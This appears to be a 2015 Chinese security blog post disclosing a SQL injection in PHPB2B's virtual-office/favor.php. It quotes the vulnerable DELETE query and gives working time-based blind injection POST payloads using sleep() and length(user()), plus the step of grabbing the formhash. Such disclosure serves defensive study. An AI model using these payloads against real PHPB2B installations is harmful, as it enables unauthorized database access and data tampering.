PHPB2B某处sql注入#6

时间:2015-1-28    作者:admin    分类: 技术交流


官网下载的最新版







virtual-office/favor.php



1-24行

code 区域
<?php

/**

 *      [PHPB2B] Copyright (C) 2007-2099, Ualink Inc. All Rights Reserved.

 *      The contents of this file are subject to the License; you may not use this file except in compliance with the License. 

 *

 *      @version $Revision: 2075 $

 */

require("../libraries/common.inc.php");

require("room.share.php");

uses("trade");

$trade = new Trade();

$trade_model = new Trades();

if (isset($_POST['del'])) {

        pb_submit_check('id');

        $ids = implode(",", $_POST['id']);

        $ids = "(".$ids.")";

        $sql = "DELETE FROM {$tb_prefix}favorites WHERE id IN ".$ids." AND member_id=".$the_memberid;

        // var_dump($sql);

        // exit();

        $res = $pdb->Execute($sql);

        if (!$res) {

                flash("action_failed");

        }

}



$ids = implode(",", $_POST['id']);

$ids = "(".$ids.")";

传入数组的话,就用逗号分隔,又没有单引号保护,直接可以注入。无视gpc。



此处是delete型,可以用延时注入。



演示如下:



注入前添加一个收藏,确保表中存在记录。



先不带任何参数访问。

localhost/phpb2b/virtual-office/favor.php

右键查看源代码。

搜索formhash

1.png



这个是为了防止csrf用的,一会我们注入时要一并提交。



然后post提交数据



del=1&id[]=1)||if(1=1,sleep(3),0)||member_id=123%23&formhash=70d974296e193c32

查user()长度

del=1&id[]=1)||if((length(user())>0),sleep(3),0)||member_id=123%23&formhash=70d974296e193c32

延时成功

del=1&id[]=1)||if((length(user())>20),sleep(3),0)||member_id=123%23&formhash=70d974296e193c32

不延时

原理讲明白了。我就不继续演示咯。

标签: 注入 PHPB2B